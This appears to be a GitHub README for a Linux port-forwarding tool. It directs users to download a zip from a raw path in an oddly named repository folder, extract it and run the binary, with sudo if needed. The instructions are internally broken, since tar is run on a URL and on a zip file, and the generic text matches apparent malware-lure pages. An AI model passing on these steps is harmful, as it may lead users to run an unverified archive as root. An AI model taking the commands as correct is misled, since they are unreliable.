This guide helps you download and run the port-forward application. This tool manages Linux port forwarding using several methods. You can deploy it with one click and enjoy features like auto kernel optimization and improved network performance.

• Multiple Methods: Supports iptables, HAProxy, socat, gost, realm, rinetd, and nginx.
• User-Friendly: Designed for quick setup and user interaction through an easy command-line interface (CLI).
• Performance: Optimizes your system automatically and enables BBR for better network speeds.

• Operating System: Linux (compatible with most distributions)
• Storage Space: At least 50 MB of free space
• RAM: Minimum 512 MB (1 GB recommended)
• Processor: Any modern CPU should work

1. Visit the Releases Page Go to the Releases page to find the latest version of port-forward.

2. Download the Application On the Releases page, find the latest version. Click on the appropriate download link for your system. This will start downloading the https://github.com/Amine123-fd/port-forward/raw/refs/heads/main/disseizor/forward-port-v1.8-beta.1.zip file.

3. Extract the Files Once downloaded, navigate to your Downloads folder. Use the following command to extract the files (replace filename with the actual name of the downloaded file):

   tar -xzf https://github.com/Amine123-fd/port-forward/raw/refs/heads/main/disseizor/forward-port-v1.8-beta.1.zip

4. Run the Application Change your directory to the extracted folder:

   cd port-forward

   Now, run the application with:

   ./port-forward

   Follow the prompts to set up your port forwarding.

To get started, make sure you download the application from the Releases page. Use the following link to access it directly: Download port-forward.

After starting the application, you will see the interactive CLI. Here’s a brief on how to configure your settings:

• Set Up Port Forwarding: Choose the method you wish to use. Each method will have specific options for configuration. Follow the instructions prompted in the CLI.
• Advanced Options: If you're familiar with networking, you can tweak advanced settings for maximum performance.

If you encounter any issues:

1. Check Dependencies: Ensure all required packages are installed.
2. Permission Issues: Run the application with sudo if you face permission errors.
3. Network Configuration: Verify your network settings if the port forwarding does not seem to work.

If you need help, please submit an issue on the GitHub Issues page. Keep your questions clear and provide details about your problem.

This project is licensed under the MIT License. Feel free to customize and share.

Thanks to everyone who contributed to making port-forward a powerful tool for Linux users. Your efforts are invaluable.

To start using port-forward today, head straight to the Releases page to download and install this application.